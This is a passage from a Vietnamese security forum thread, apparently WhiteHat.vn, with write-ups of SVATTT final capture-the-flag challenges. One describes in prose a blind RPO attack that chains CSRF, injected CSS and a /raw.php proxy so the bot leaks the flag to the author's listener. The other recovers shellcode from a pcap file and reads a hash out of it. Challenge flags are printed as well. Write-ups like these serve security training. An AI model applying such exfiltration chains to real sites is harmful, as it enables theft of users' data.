    • Lúc này phải blind RPO, ép con bot gửi 1 request về link listener của mình nếu như content của page có flag!
    [​IMG]
    Thug life again!!!!!
    Đầu tiên là thử 1 cái simple để confirm bug!
    [​IMG]
    Và mình đã đúng!
    Tuy nhiên ở chỗ này có 1 vấn đề nho nhỏ(chính xác là nó tốn của mình hơn 30p =.= )!
    Đoạn CSS phía dưới ko thể được gọi, nếu như nó vẫn nằm trong 1 thằng bị “display: none” =.=.
    Cách xử lý đơn giản thôi, đó là ghi đè nó bằng “ div{display: block !important;}”!
    Và mọi thứ trông cũng khá ổn:
    [​IMG]
    Vấn đề 1 đã xong thì va thêm problem 2:
    [​IMG]
    Như vậy là chỉ có thể load được từ self, ko dùng được trực tiếp listener của mình!
    No problem!
    Chỉ cần add link listener của mình vào, rồi cho nó call qua /raw.php?url=<listener> là ok!
    [​IMG]
    Đến đây thì mọi thứ gần như đã là hoàn thiện về ý tưởng:
    • Gạ bot vào link -> CSRF -> add payload -> RPO -> blind -> flag
    Mình thì bản tính vốn lười sẵn, nên xác định code vài dòng để blind cho đỡ mệt người!
    Mượn được ông a con vps trial, push code lên và bắt đầu brute loạn tử cung thôi!
    [​IMG]
    (Mình phải dùng VPS để kết hợp với listener 1 thể cho dễ xử lý! Nếu bài này trong cuộc thi thì ko biết mình phải mò tới bao giờ mới ra [​IMG]:( )
    .
    .
    .
    .
    Chờ mãi mới brute xong cái flag (để cho chắc cú thì mình set trung bình 10s/char, khá là lâu!)
    Còn đây là phờ lác của các bạn:
    svattt{can_you_inject_to_anything?}
    Cảm ơn tác giả về 1 chall drift khá là đỉnh!
    Tưởng như sờ được vào flag rồi mà vẫn chẳng thấy nó đâu [​IMG]:(!
    Cảm ơn: ACEBEAR, Bobo PTIT, N/A, UIT ... - GGWP!
    Cảm ơn BTC, Vnsecurity đã tổ chức 1 kỳ SVATTT khá là thú vị và công bằng, ko để đội nào yếu quá, và cũng ko để đội nào mạnh quá [​IMG]:D !
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
  6. Sugi_b3o

    Sugi_b3o Moderator Thành viên BQT

    Tham gia: 30/08/16, 10:08 AM
    Bài viết: 207
    Đã được thích: 173
    Điểm thành tích:
    43
    1. Shellcap - Jeopardy

    Ghost in the shell. Shell in the cap. Submit svattt{secret hash}

    File: http://final.svattt.org/challs/shellcap.pcapng

    Hint: Shellcode is splitted into packets. Format: Offset|Data

    Recover the shellcode, disassembly and find the secret hash.

    Đây là một bài forensics kết hợp với reverse. Gặp file pcap, ta mở luôn nó bằng Wireshark cho nóng nhỉ.

    [​IMG]

    Gặp nhiều TCP thế này thì tội gì không Follow TCP Stream [​IMG]

    [​IMG]

    Với mỗi packet, ta thấy bên đỏ gửi đi 3 bytes. Dễ thấy rằng, bytes đầu tiên chỉ là 0x01, 0x02, 0x03, 0x04 nên ta đoán được đây có thể là một loại offset nào đó. Bên cạnh đó, ta thấy packet cuối cùng có tên mã là 2129.

    [​IMG]

    Để ý thấy, nếu trừ 1 packet đầu do thiết lập kết nối TCP thì còn 2128 packet ~ 2128 bytes ? Nhưng ngẫu nhiên, ta thấy số 0x0422 ở packet ngay phía trên “là lạ”. Trùng hợp một nỗi, 0x0422 = 1058 ~ (2128/2). Thêm hint từ đề bài cho nữa, mình khi đó đoán là có thể offset|data thì offset có thể là 12 bit hoặc 16 bit. Mình thử parse data ra thì nó được đoạn mã bắt đầu bằng 0x558B. Bằng “phương pháp nghiệp vụ”, mình biết ngay đó là shellcode chuẩn =)) [code parse]

    Thế là ném vào IDA thôi [​IMG]

    [​IMG]

    Đoạn mã trên cùng ta có thể thấy được là nó làm nhiều thứ gì đó mà bạn phải học assembly thì mới hiểu được :)) Tua xuống đoạn cuối, ta thấy hình như nó so sánh xem hash có phải đúng không, nếu không đúng thì quit.

    [​IMG]

    Thế thì mình thử ‘grep’ lại các byte đó thôi [​IMG]

    [​IMG]

    Ghép tất cả lại, ta được flag: svattt{59bde2468ac7398fb6ead5be7b6525a63608059d}

    MAGIC [​IMG]

    [​IMG]
    Trích Blog minhtt159
     
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    sunny thích bài này.
  7. sunny

    sunny Điều hành viên Thành viên BQT

    Tham gia: 30/06/14, 10:06 PM
    Bài viết: 1,642
    Đã được thích: 704
    Điểm thành tích:
    113
    Lưu ý từ WhiteHat: Kiến thức an ninh mạng để phòng chống, không làm điều xấu. Luật pháp liên quan
    Sugi_b3o thích bài này.